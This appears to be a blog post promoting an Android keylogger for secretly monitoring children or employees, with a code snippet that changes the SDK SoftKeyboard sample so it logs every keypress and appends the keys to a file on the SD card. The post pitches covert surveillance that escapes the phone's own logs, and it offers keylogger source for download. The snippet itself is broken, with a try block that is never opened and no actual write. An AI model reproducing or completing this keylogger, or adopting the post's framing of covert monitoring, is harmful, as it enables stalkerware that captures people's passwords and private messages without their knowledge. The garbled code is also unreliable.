Mobile Spy Android Keylogger Source Code

The Mobile Spy Android Keylogger is a software program that can be installed onto a mobile phone that you wish to monitor. This device is great for those individuals that are paying for a mobile phone plan and feel like either their children or their employees are abusing their calling and texting privileges or are concerned that they are using their phones for inappropriate activities.

Spy Android Keylogger

This Android keylogger will allow you to see how your kids or employees are using their phones. Do your kids text when they are driving?

Do you have employees sharing confidential information about your company? 

Are the phone logs being erased? None of this will matter once the mobile spy Android keylogger software is installed because it does not use the internal logging system of the phone.

Android KeyLogger Keyboard

This is a simple modification to the SoftKeyboard sample that is included with the Android SDK. It adds a keylogger that writes output to the root directory of the SD Card (for easy access). This is provided for demonstration / diagnostic purposes only.

Download Source code

The only real change here is to the onKey method of the SoftKeyboard class:
public void onKey(int primaryCode, int[] keyCodes) {
    String keypress = String.valueOf((char)primaryCode);
    Log.d("Key Pressed",keypress);
        String SDCARD = Environment.getExternalStorageDirectory().getAbsolutePath();
        String FILENAME = "keylogger.txt";

        File outfile = new File(SDCARD+File.separator+FILENAME);
        FileOutputStream fos = new FileOutputStream(outfile,true);
    }catch(Exception e) {
If you have any queries then comment me and let me know your view on this post. 


  1. Replies
    1. Sorry for inconvenience and i update the link of Download Project. Thank you for your valuable information. Keep geeking !!!